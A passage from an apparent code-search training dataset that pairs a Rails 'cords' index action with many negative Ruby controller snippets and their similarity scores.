"def version=(val)\n if (val.kind_of?(Integer)) \n make_major_minor_version(val & 0xff)\n elsif(val.kind_of?(String))\n raise ArgumentError, \"Value should be 1-byte, but was #{val.length}.\" if (val.length != 1) \n make_major_minor_version(val.unpack('C')[0])\n else\n raise ArgumentError, \"Expected Integer, but #{val.class} provided.\" \n end\n end",
"def _version\n special_attribute('@version'.freeze)\n end"
] |
[
"0.7432586",
"0.74170595",
"0.7366617",
"0.7204515",
"0.7011514",
"0.69915575",
"0.69399834",
"0.686335",
"0.670585",
"0.6638825",
"0.6638825",
"0.6603063",
"0.65917075",
"0.65309393",
"0.6511422",
"0.64768213",
"0.64768213",
"0.64602435",
"0.64277893",
"0.64277893",
"0.6404165",
"0.6389071",
"0.6338114",
"0.63312817",
"0.6246849",
"0.62344736",
"0.6224599",
"0.62176114",
"0.62155515",
"0.6215468",
"0.6180275",
"0.61408603",
"0.6139733",
"0.6136069",
"0.6093877",
"0.6072845",
"0.60635304",
"0.6044554",
"0.6004852",
"0.59819067",
"0.59760034",
"0.59496015",
"0.5942644",
"0.5940055",
"0.59245753",
"0.5908924",
"0.58889025",
"0.58847874",
"0.58674",
"0.58616817",
"0.5861464",
"0.5843821",
"0.5842958",
"0.5819183",
"0.58078533",
"0.58076537",
"0.5791271",
"0.57909906",
"0.5786512",
"0.5771581",
"0.57711315",
"0.5770589",
"0.5729289",
"0.5701359",
"0.56983787",
"0.5692347",
"0.56894076",
"0.56878704",
"0.56764275",
"0.56724155",
"0.56724155",
"0.5669489",
"0.56630456",
"0.5657259",
"0.56528",
"0.5652672",
"0.5651497",
"0.56416416",
"0.5638785",
"0.56351477",
"0.56136835",
"0.5606001",
"0.55767477",
"0.5561597",
"0.5561597",
"0.5557203",
"0.55518484",
"0.55473197",
"0.5545471",
"0.5534829",
"0.55307513",
"0.5523237"
] |
0.76449525
|
8
|
before_action :authenticate_user! GET /cords GET /cords.json
|
def index
@cords = Cord.all
@cords = Cord.user_cords(current_user)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def getdoctors\n #verify user in slug is logged in\n token_passed = params[:token] unless params[:token].nil?\n patient = Patient.find_by_slug!(params[:patient_id])\n if my_encrypt(patient.remember_token) != token_passed\n redirect_to signin_path\n else\n allows_cors\n clinic = Clinic.find_by_name(params[:clinic])\n doctors = Doctor.in_clinic(clinic)\n docnames = []\n doctors.each { |d| docnames << d.full_name }\n render json: {doctors: docnames}\n end\n end",
"def create\n # @cord = Cord.new(cord_params)\n @cord = @racquet.cords.new(cord_params)\n @cord.user = current_user\n respond_to do |format|\n if @cord.save\n format.html { redirect_to @cord, notice: t('cords.create.success') }\n format.json { render :show, status: :created, location: @cord }\n else\n format.html { render :new }\n format.json { render json: @cord.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\r\n user = authenticate\r\n if user\r\n clients = Client.where('clientof = ?', user.id)\r\n render json: {clients: clients, message: 'Success', status: :ok}\r\n else\r\n render json: {message: 'Invalid token', status: :unauthorized}\r\n end\r\n end",
"def set_cord\n @cord = Cord.find(params[:id])\n end",
"def index\n @clubs = Club.all \n respond_to do |format|\n format.html { \n authorize! :index, @clubs\n }\n format.json { \n \n }\n end\n end",
"def authorized\n redirect_to '/welcome' unless logged_in?\n end",
"def authorized\n redirect_to \"/login\" unless logged_in? \n end",
"def auth\n end",
"def auth\n end",
"def show\n @users = User.all\n authorize @colaboradore\n end",
"def show\n respond_to do |format|\n format.html { \n authorize! :index, @club\n }\n format.json { \n \n }\n end\n end",
"def index \n # Save the token in the user\n if (params[:token]) then\n \n client = Dopplr::Client.new\n client.login_url \"http://ourco2.org/dopplr/\"\n client.token = params[:token]\n \n # Transform into a session\n @token = client.create_session\n \n # Saves it in the user\n @user = User.find(params[:userid])\n @user.tokendopplr = @token\n @user.save\n \n end\n end",
"def authorized!\n redirect_to root_url, alert: \"You need to be set up for receiving whispers first\" and return unless current_user\n end",
"def get_canciones\n\t\t\t\tuser = User.where(id: params[:id_user]).first\n\t\t\t\ttoken = params[:authentication_token]\n\t\t\t\tif (user)\n\t\t\t\t\tif (user.authentication_token==token)\n\t\t\t\t\t\tuser.authentication_token = nil\n\t\t\t\t\t\tuser.save\n\t\t\t\t\t\t\n\t\t\t\t\t\tlista_canciones = VotacionesTemporal.where(id_emisora: params[:id_emisora])\n\t\t\t\t\t\trender json: { status: 'SUCCESS', message: 'Lista de canciones', canciones: lista_canciones, authentication_token:user.authentication_token }, status: :ok\n\t\t\t\t\t\t\n\t\t\t\t\telse\n\t\t\t\t\t\trender json: { status: 'INVALID TOKEN', message: 'Token inválido'}, status: :unauthorized\n\t\t\t\t\tend\n\t\t\t\telse\n\t\t\t\t\trender json: { status: 'INVALID USER', message: 'Usuario Inexistente'}, status: :unauthorized\n\t\t\t\tend\n\t\t\tend",
"def authorized\n render json: {message: 'Please log in to continue'}, status: :unauthorized unless logged_in?\n end",
"def authorize!\n redirect '/' unless logged_in?\n end",
"def index\n @players = Player.all\n auth!\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @players }\n end\n end",
"def authorized\n render json: { message: 'Please log in' }, status: :unauthorized unless logged_in?\n end",
"def authorized\n render json: { message: 'Please log in'}, status: :unauthorized unless logged_in?\n end",
"def authorized\n render json: {message: 'Please log in'}, status: :unauthorized unless logged_in?\n end",
"def index\n #before_action :authenticate_user\n #if current_user.admin?\n @users = User.all\n render json: @users, status: :ok\n #else\n # render json: [], status: :unauthorized\n #end\n end",
"def authorized\n render json: { message: 'Please log in' }, status: :unauthorized unless logged_in?\n end",
"def index\n authorize Club\n @clubs = Club.all\n end",
"def index\n if logged_in?\n @moms= Mom.all\n else\n require_login\n end\n end",
"def index\n @clients = current_user.clients\n render json: @clients\n end",
"def authorized\n render json: { message: 'Você não está logado, pfv logar' }, status: :unauthorized unless logged_in?\n end",
"def authorized_user!\n unless user_logged_in?\n redirect_to root_path\n end\n end",
"def show\n authorize @orden\n end",
"def authorized\n redirect_to :controller => 'home', :action => 'index' unless logged_in?\n end",
"def authorize!\n if current_user && current_user.clearance_level > 1\n return true\n else\n respond_to do |format|\n format.html do\n redirect_to main_app.new_session_path\n end\n format.json do\n render status: 403, nothing: true\n end\n end\n end\n end",
"def index\n res = create_request2(root_url + '/login/auth', 'tequila.epfl.ch')\n redirect_to ('https://tequila.epfl.ch/cgi-bin/tequila/requestauth?request' + res)\n end",
"def authorized\n\t unless admin?\n\t redirect_to root_path\n\t end\n end",
"def list_tenants_for_circles(args = {}) \n get(\"/tenants.json/circles\", args)\nend",
"def show\n authorize @cov_died\n end",
"def index\n @authorized_clients = AuthorizedClient.all\n end",
"def authenticate\n @discogs = Discogs::Wrapper.new(\"Test OAuth\")\n request_data = @discogs.get_request_token(DISCOGS_API_KEY, DISCOGS_API_SECRET, \"http://127.0.0.1:3000/callback\")\n \n session[:request_token] = request_data[:request_token]\n \n redirect_to request_data[:authorize_url]\n end",
"def authorize_user!\n user = Circle.find(params[:id]).user\n if current_user != user\n flash[:notices] = \"Unathorized action\"\n redirect_to user_url(user.id)\n end\n end",
"def index\n authorize! :admin, Coordenador\n \n @coordenadores = Coordenador.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @coordenadores }\n end\n end",
"def index\n auth_response = plaid_client.auth.get(access_token)\n render json: auth_response.to_json\n end",
"def marvel_index\n if session[:user_id]\n comics = Comic.publisher\n render json: comics, include: :user\n else\n render json: { errors: [ \"Not Authorized\" ]}, status: :unauthorized\n end\n end",
"def index\n # Handle bookmarked or otherwise incorrect GETs to the login action\n if request.method == :get\n redirect_to login_path\n else\n redirect_to vault_dashboard_path\n end\n end",
"def auto_login\n render json: logged_in_user\n end",
"def authorize\n end",
"def authorize\n end",
"def index\n #authorize! :index, @login, :message => 'Not authorized as an administrator.'\n #É preciso ir buscar a clinica do gestor atual para carregar a informação\n manager = Manager.first(:conditions => \"login_id = #{current_login.id}\")\n @clinic = manager.clinic\n\n @managers = Manager.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @managers }\n end\n end",
"def index\n @activist_fronts = ActivistFront.all\n authorize ActivistFront\n end",
"def show\n authorize!\n end",
"def show\n authorize!\n end",
"def show\n authorize!\n end",
"def index\n my_authorize_action_within_clubs!(:list, Club, @current_partner.clubs.collect(&:id))\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: ClubsDatatable.new(view_context,@current_partner,nil,nil,@current_agent) }\n end\n end",
"def coolest\n @coolest = User.find_paginated_coolest :page => params[:page], :per_page => 9\n render :partial => 'coolest'\n end",
"def authorize\n if !logged_in? || current_user.nil?\n redirect '/login'\n else\n @user = current_user\n @user_chores = current_user.chores\n @user_gadgets = current_user.gadgets\n end\n end",
"def resource\n set_cors_headers\n render :text => \"OK here is your restricted resource!\"\n end",
"def authorized\n render json: { message: 'Please log in' }, status: :unauthorized unless logged_in?\n end",
"def show\n authorize @user\n render json: @user\n end",
"def cas_client_sign_in\n render nothing: true, status: :unauthorized\n end",
"def show\n @club = Club.find(params[:id])\n authorize @club\n end",
"def dashboard\n @clients = current_user.clients\n end",
"def authorize\n redirect_to '/' unless current_user || current_dealer\n end",
"def index\n rol = Role.where(:id=>current_user.role).first\n if rol.nombre == \"DN\" or rol.nombre == \"ACRM\"\n @colegiaturas = Colegiatura.all\n else\n @colegiaturas = Colegiatura.where(:sede_id=>current_user.sede)\n end \n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @colegiaturas }\n end\n end",
"def authorization; end",
"def me\n render status: 200, json: current_user.db_user.as_json(only: [:id, :email], include: { discord_identity: { }, roles: { include: { nested_roles: { include: { role_nested: { } } } } } }, methods: [:main_character])\n end",
"def index\n if current_user\n @clients = Client.all.order(:id)\n else\n flash[:notice] = \"First Login to view the client Details\"\n redirect_to new_user_session_path\n end\n end",
"def authorized\n redirect_to '/signin' unless current_driver\n end",
"def authorized?\n logged_in? && current_user.login == \"ej0c\"\n end",
"def protected\n auth = request.headers['HTTP_AUTHORIZATION']\n\n if auth =~ /sekret/\n render json: {success: \"You're in!\"}\n else\n render json: {error: 'Unauthorized'}, status: 401\n end\n end",
"def index\n @users = User.all\n authorize @users\n\n render json: @users\n end",
"def another_action\n @discogs = Discogs::Wrapper.new(\"Test OAuth\", access_token: session[:access_token])\n \n # You can now perform authenticated requests.\n end",
"def show\n authorize User\n @doctors = DoctorPatient.where(patient: @patient, status: 'active').map(&:doctor)\n end",
"def client_redirect_auth\n\t\t# Since the :restrict_access method is called whenever this method is called, that will take care of unauthenticated users (will return a 404 before this method is even run)\n\t\tapi_key = ApiKey.find_by_access_token(params[:access_token])\n\t\tusr = User.find(api_key.user_id)\n\t\trole = usr.role\n\t\ttimeUntilExp = ''\n\n\t\tmsg = \"UNAUTHORIZED\"\n\t\tif params[:authorize]\n\t\t\tif params[:role] == usr.role\n\t\t\t\t# Roles match and user is authorized\n\t\t\t\tmsg = \"AUTHORIZED\"\n\t\t\tend\n\t\telse\n\t\t\t# User is authenticated (logged in) but is not authorized\n\t\t\tmsg = \"AUTHENTICATED\"\n\t\tend\n\n\t\tif api_key\n\t\t\tputs \"WHY DOESNT THIS WORK? #{distance_of_time_in_words(Time.now, api_key.expires_at)}\"\n\t\t\tputs \"SECONDS #{((api_key.expires_at - Time.now).seconds).round}\"\n\t\t\ttimeUntilExp = ((api_key.expires_at - Time.now).seconds).round\n\t\tend\n\t\trespond_to do |format|\n \t\tformat.json { render :json => { :msg => msg, :role => role, :timeUntilExp => timeUntilExp } } \t\t\n \t\tend\n\tend",
"def authorized\n redirect_to new_user_session_path unless logged_in?\n end",
"def index\n @authentics = Authentic.all\n end",
"def authorize\n \t\t#teste http://localhost:3000/products/2/who_bought.atom\n \t\t#ou curl --silent --user dave:secret http://localhost:3000/products/2/who_bought.atom \n \t\treturn if User.count.zero?\n\n \t\tif request.format == Mime[:html]\n \t\t\tuser = User.find_by(id: session[:user_id])\n \t\telse\n \t\t\tuser = authenticate_or_request_with_http_basic do |u,p|\n \t\t\t\tUser.find_by_name(u).try(:authenticate, p)\n \t\t\tend\n \t\tend\n\n \t\tredirect_to login_url, notice: \"Please log in\" unless user\n \t\t\n \tend",
"def login\n Socky.send( {:action => \"login\", \n :user => params[:user],\n :channel => params[:channel]}.to_json,\n :to => { :channels => params[:channel] })\n render :text => \"ok\"\n end",
"def index\n respond_to do |format|\n if authorized?\n format.json { render json: User.all }\n else\n format.json { render json: unauthorized, status: :forbidden }\n end\n end\n end",
"def show\n authorize @shooting_log\n end",
"def index\n @circle = current_user.circle\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @circle }\n end\n end",
"def show\n authorize @cov_odp\n end",
"def auth\n\n @user = current_user\n render json: @user\n \n end",
"def authenticate_owner!\n category = Category.find(params[:id])\n render \"errors/404\" unless category.order != 0 && category.setup.venture.user_id == current_user.id\n end",
"def redirect_csrs\n if current_user6.email != \"admin\"\n redirect_to action: \"list\"\n end\n end",
"def index\n # byebug\n if current_user\n recipes = Recipe.all \n render json: recipes\n else \n render json: { errors: [\"Not Authorized\"] }, status: :unauthorized\n end\n end",
"def authorize_patron\n if is_admin? or is_authorized? \n return true\n elsif !current_user.nil?\n render 'user_sessions/unauthorized_patron'\n else\n redirect_to login_url unless performed?\n end\n end",
"def show\n @clothing_log = current_account.clothing_logs.find(params[:id])\n authorize! :view, @clothing_log\n respond_with @clothing_log\n end",
"def show\n @por = @campus.pors.find(params[:id])\n authorize! :show, @por, :message => 'Acceso denegado.'\n \n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @por }\n end\n end",
"def login_required\n redirect_to(login_url) unless logged_in? && authorized?\n end",
"def listings\n authorize! :read, @user\n end",
"def show\n authorize! :admin, Coordenador\n \n @coordenador = Coordenador.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @coordenador }\n end\n end",
"def auth\n\tchannel = Pusher['presence-cody']\n session[:user_id] ||= rand(1000000)\n if current_user\n response = channel.authenticate(params[:socket_id], {\n :user_id => session[:user_id],\n :user_info => {\n \t:name => current_user.name,\n }\n })\n render :json => response\n #Allowing people to enter the cookie queue without being logged in \n else\n response = channel.authenticate(params[:socket_id], {\n :user_id => session[:user_id],\n :user_info => {}\n })\n render :json => response\n end\n end",
"def owner_required\n ## before filter for owner of channel. \n if logged_in? && current_user.login == THUMBWEBS_AUTHORIZED_USER\n return true\n else\n flash[:error] = \"Unauthorized Access-Must be logged-in as owner.\"\n redirect_to thumbwebs_root_path\n end\nend",
"def authorize\n\t\tredirect_to '/login' unless current_user\n\tend",
"def authorize\n redirect_to '/login' unless current_user\n end",
"def index\n authorize! :index, Campus, :message => 'Acceso denegado.'\n @campuses = @university.campuses\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @campuses }\n end\n end",
"def index\n\n if user_signed_in?\n\n @mclusters = Mcluster.all\n\n else\n\n redirect_to new_user_session_path\n\n end\n\n end",
"def auto_login\n render json: @user\n end",
"def auto_login\n render json: @user\n end",
"def authorized?\n true\n end",
"def index\n @conns = current_user.conns\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @conns }\n end\n end",
"def list_tenants_for_circle(args = {}) \n get(\"/tenantcircles.json/tenants\", args)\nend",
"def show\n user = User.find_by(id: session[:user_id])\n if user\n render json: user, status: :ok\n else\n render json: {errors: \"Not authorized\"}, status: :unauthorized\n end\n end"
] |
[
"0.6623102",
"0.63390684",
"0.61292005",
"0.6005919",
"0.59343004",
"0.5913341",
"0.5909052",
"0.58687615",
"0.58687615",
"0.58682406",
"0.5783004",
"0.5757271",
"0.57194394",
"0.569875",
"0.5687333",
"0.5685529",
"0.56796706",
"0.5677577",
"0.56711394",
"0.5670517",
"0.5667097",
"0.5655427",
"0.5653894",
"0.5649091",
"0.56415206",
"0.56409794",
"0.5636459",
"0.5635027",
"0.563486",
"0.5634266",
"0.5632338",
"0.5619973",
"0.5617326",
"0.5614441",
"0.5608286",
"0.55966574",
"0.55856466",
"0.55853945",
"0.5581198",
"0.5572617",
"0.5569716",
"0.55662763",
"0.55662644",
"0.55662644",
"0.55490047",
"0.5548334",
"0.55470294",
"0.55470294",
"0.55470294",
"0.55372405",
"0.5534479",
"0.55331093",
"0.5522362",
"0.5520568",
"0.5518785",
"0.55173534",
"0.55126387",
"0.55112135",
"0.55089164",
"0.55087525",
"0.55014354",
"0.5501084",
"0.54994583",
"0.549673",
"0.5493808",
"0.548495",
"0.5480714",
"0.5479846",
"0.5479138",
"0.5476404",
"0.5476326",
"0.54722786",
"0.54712373",
"0.5469558",
"0.5469357",
"0.5469307",
"0.5468987",
"0.54654014",
"0.54652125",
"0.5459898",
"0.54596597",
"0.5458547",
"0.54549414",
"0.5453812",
"0.5450426",
"0.5443624",
"0.54391646",
"0.54379267",
"0.5437618",
"0.5436967",
"0.5432606",
"0.5416733",
"0.54157007",
"0.5412631",
"0.54114896",
"0.54114896",
"0.5410892",
"0.540803",
"0.54063886",
"0.5404686"
] |
0.69375587
|
0
|
GET /cords/1 GET /cords/1.json
|
def show
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def index\n @cords = Cord.all\n @cords = Cord.user_cords(current_user)\n end",
"def set_cord\n @cord = Cord.find(params[:id])\n end",
"def show\n @crust = Crust.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @crust }\n end\n end",
"def create\n # @cord = Cord.new(cord_params)\n @cord = @racquet.cords.new(cord_params)\n @cord.user = current_user\n respond_to do |format|\n if @cord.save\n format.html { redirect_to @cord, notice: t('cords.create.success') }\n format.json { render :show, status: :created, location: @cord }\n else\n format.html { render :new }\n format.json { render json: @cord.errors, status: :unprocessable_entity }\n end\n end\n end",
"def show\n @clonet = Clonet.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @clonet }\n end\n end",
"def index\n @clues = Clue.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @clues }\n end\n end",
"def index\n @cordinates = Cordinate.all\n end",
"def show\n @cerc = Cerc.find(params[:id])\n\n render json: @cerc\n end",
"def index\n @clan_matches = ClanMatch.all\n\n render json: @clan_matches\n end",
"def index\n @mirrors = Mirror.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @mirrors }\n end\n end",
"def update\n respond_to do |format|\n if @cord.update(cord_params)\n format.html { redirect_to @cord, notice: t('cords.update.success') }\n format.json { render :show, status: :ok, location: @cord }\n else\n format.html { render :edit }\n format.json { render json: @cord.errors, status: :unprocessable_entity }\n end\n end\n end",
"def destroy\n @cord.destroy\n respond_to do |format|\n format.html { redirect_to cords_url, notice: t('cords.destroy.success') }\n format.json { head :no_content }\n end\n end",
"def list_tenants_for_circles(args = {}) \n get(\"/tenants.json/circles\", args)\nend",
"def index\n @consents = Consent.all\n render json: @consents\n end",
"def index\n @microroles = Microrole.includes(:verb_coding_frame_microroles).readonly(false).all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @microroles }\n end\n end",
"def index\n @commands = Command.all\n render :json => @commands\n end",
"def show\n @climate = Climate.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @climate }\n end\n end",
"def index\n @clinic_doctors = ClinicDoctor.includes(:clinic, :doctor).all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @clinic_doctors }\n end\n end",
"def show\n @conductor = Conductor.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @conductor }\n end\n end",
"def show\n @conductor = Conductor.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @conductor }\n end\n end",
"def index\n @denuncia = Denuncium.all\n\n render json: @denuncia\n end",
"def index\n @clients = current_user.clients\n render json: @clients\n end",
"def index\n @fundamental_guilds = Fundamental::Guild.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @fundamental_guilds }\n end\n end",
"def show\n @clue = Clue.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @clue }\n end\n end",
"def show\n @clue = Clue.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @clue }\n end\n end",
"def show\n @crate = Crate.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @crate }\n end\n end",
"def show\n render json: @clan_match\n end",
"def show\n @dc = Dc.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @dc }\n end\n end",
"def show\n @crowd = Crowd.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @crowd }\n end\n end",
"def set_discord\n @discord = Discord.find(params[:id])\n end",
"def show\n @cyclist = Cyclist.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @cyclist }\n end\n end",
"def index\n @coasters = Coaster.all\n\n render json: @coasters\n end",
"def index\n @crates = Crate.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @crates }\n end\n end",
"def show\n @colegio = Colegio.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @colegio }\n end\n end",
"def show\n @csosn = Csosn.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @csosn }\n end\n end",
"def index\n @clients = Client.all\n @uuid = params[:uuid]\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @clients }\n end\n end",
"def show\n @fundamental_guild = Fundamental::Guild.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @fundamental_guild }\n end\n end",
"def list_tenants_for_circle(args = {}) \n get(\"/tenantcircles.json/tenants\", args)\nend",
"def show\n @critic = Critic.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @critic }\n end\n end",
"def show\n @comic = Comic.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @comic }\n end\n end",
"def show\n @comic = Comic.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @comic }\n end\n end",
"def disc(id)\n get(\"/catalog/titles/discs/#{id.to_s}\")\n end",
"def show\n @distro = Distro.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @distro }\n end\n end",
"def show\n @distro = Distro.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @distro }\n end\n end",
"def show\n @lector = Lector.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @lector }\n end\n end",
"def index\n @disciplines = Discipline.all\n\n render json: @disciplines\n end",
"def index\n @corps = Corp.all\n end",
"def index\n @corps = Corp.all\n end",
"def index\n @dinos = Dino.where(query_params)\n render json: @dinos\n end",
"def show\n @credito = Credito.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @credito }\n end\n end",
"def index\n @commanders = Commander.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @commanders }\n end\n end",
"def index\n @castes = Caste.includes(:religion).all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @castes }\n end\n end",
"def show\n @commtent1 = Commtent1.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @commtent1 }\n end\n end",
"def show\n @comedorue = Comedorue.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @comedorue }\n end\n end",
"def show\n @circulation = Circulation.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @circulation }\n end\n end",
"def index\n @simple_chores = SimpleChore.all\n respond_to do |format|\n format.html\n format.json { render :json => @simple_chores }\n end\n end",
"def index\n @colegios = Colegio.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @colegios }\n end\n end",
"def show\n @canon = Canon.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @canon }\n end\n end",
"def index\n @clubs = Club.all\n render json: @clubs\n end",
"def show\n @cdist_type = CdistType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @cdist_type }\n end\n end",
"def index\n @cordinators = Cordinator.all.order('name ASC').page(params[:page]).per(3)\n end",
"def getOrden \n \t@orden = Orden.where(:rest => params[:id_res])\n \trender json: @orden\n end",
"def show\n @clinic_doctor = ClinicDoctor.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @clinic_doctor }\n end\n end",
"def index\n @dnas = Dna.all\n\n render json: @dnas\n end",
"def index\n @cocktails = Cocktail.where(\"oficial = ?\", false)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @cocktails }\n end\n end",
"def index\n @clients = Client.all\n render json: @clients\n end",
"def index\n render json: Client.all\n end",
"def channel\n @clusters = Cluster.where(:word_en_name => params[:name]).all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @clusters }\n end\n end",
"def index\n Rails.logger.info('👻 Disraptor: Showing available routes.')\n\n routes = Disraptor::Route.find_all()\n\n render json: { 'disraptor/routes': routes }\n end",
"def index\n \t@channels = Channel.all\n\t\t render json: @channels\n end",
"def show\n @condclima = Condclima.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @condclima }\n end\n end",
"def show\n @central_correio = CentralCorreio.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @central_correio }\n end\n end",
"def index\n @distros = getmydata(\"Distro\")\n pagination\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @distros }\n end\n end",
"def show\n @torneo = Torneo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @torneo }\n end\n end",
"def index\n\t\t@clubs = Club.all\n\t\trender json: @clubs\n\tend",
"def show\n @cso = Cso.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @cso }\n end\n end",
"def show\n @corgi = Corgi.find(params[:id])\n respond_to do |format|\n format.html \n format.json { render json: @corgi }\n end \n end",
"def show\n channel = Channel.find(params[:id])\n json_response(channel)\n end",
"def index\n @conns = current_user.conns\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @conns }\n end\n end",
"def show\n @mirror = Mirror.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @mirror }\n end\n end",
"def index\n @cicts = Cict.all\n end",
"def index\n @normas = Norma.all\n render json: @normas\n end",
"def index\n @chores = Chore.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @chores }\n end\n end",
"def index\n @chores = Chore.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @chores }\n end\n end",
"def getdoctors\n #verify user in slug is logged in\n token_passed = params[:token] unless params[:token].nil?\n patient = Patient.find_by_slug!(params[:patient_id])\n if my_encrypt(patient.remember_token) != token_passed\n redirect_to signin_path\n else\n allows_cors\n clinic = Clinic.find_by_name(params[:clinic])\n doctors = Doctor.in_clinic(clinic)\n docnames = []\n doctors.each { |d| docnames << d.full_name }\n render json: {doctors: docnames}\n end\n end",
"def index\n @aucrecords = Aucrecord.all\n end",
"def show\n @contacter = Contacter.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @contacter }\n end\n end",
"def show\n @correo = Correo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @correo }\n end\n end",
"def show\n @correo = Correo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @correo }\n end\n end",
"def index\n @corges = Corge.all\n end",
"def show\n render json: @dna\n end",
"def index\n @clients = Client.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @clients }\n end\n end",
"def show\n @colaboration = Colaboration.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @colaboration }\n end\n end",
"def show\n @clasp = Clasp.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @clasp }\n end\n end",
"def show\n @acd = Acd.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @acd }\n end\n end",
"def show\n @dteor = Dteor.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @dteor }\n end\n end",
"def index\n champions = Champion.all\n render json: champions\n end",
"def show\n @clidistrict = Clidistrict.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @clidistrict }\n end\n end",
"def index\n url = \"https://data.cityofchicago.org/resource/x2n5-8w5q.json\"\n options = { :body => {:status => text}, :basic_auth => @auth }\n @response = HTTParty.get(url, options)\n\n @crime = Hash.new\n\n #@crime['block'] = @response[0]['block']\n @crime = @response\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @gittos }\n end\n end",
"def index\n @clients = Client.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @clients }\n end\n\n end",
"def index\n render json: @owner.cats\n end"
] |
[
"0.70462674",
"0.6381992",
"0.6066628",
"0.6027903",
"0.59282076",
"0.5880955",
"0.5832428",
"0.58158404",
"0.58031183",
"0.5742837",
"0.57321876",
"0.5705382",
"0.5693554",
"0.56656504",
"0.56561625",
"0.56531286",
"0.56491244",
"0.56437165",
"0.5620294",
"0.5620294",
"0.5606144",
"0.5600111",
"0.5597793",
"0.5594261",
"0.5594261",
"0.55899936",
"0.5574877",
"0.55659413",
"0.55451006",
"0.5544001",
"0.55279684",
"0.55243146",
"0.552249",
"0.55179936",
"0.5495431",
"0.54925954",
"0.5473682",
"0.5472184",
"0.5461105",
"0.5453527",
"0.5453527",
"0.5448582",
"0.54469573",
"0.54469573",
"0.5441239",
"0.54364717",
"0.54363954",
"0.54363954",
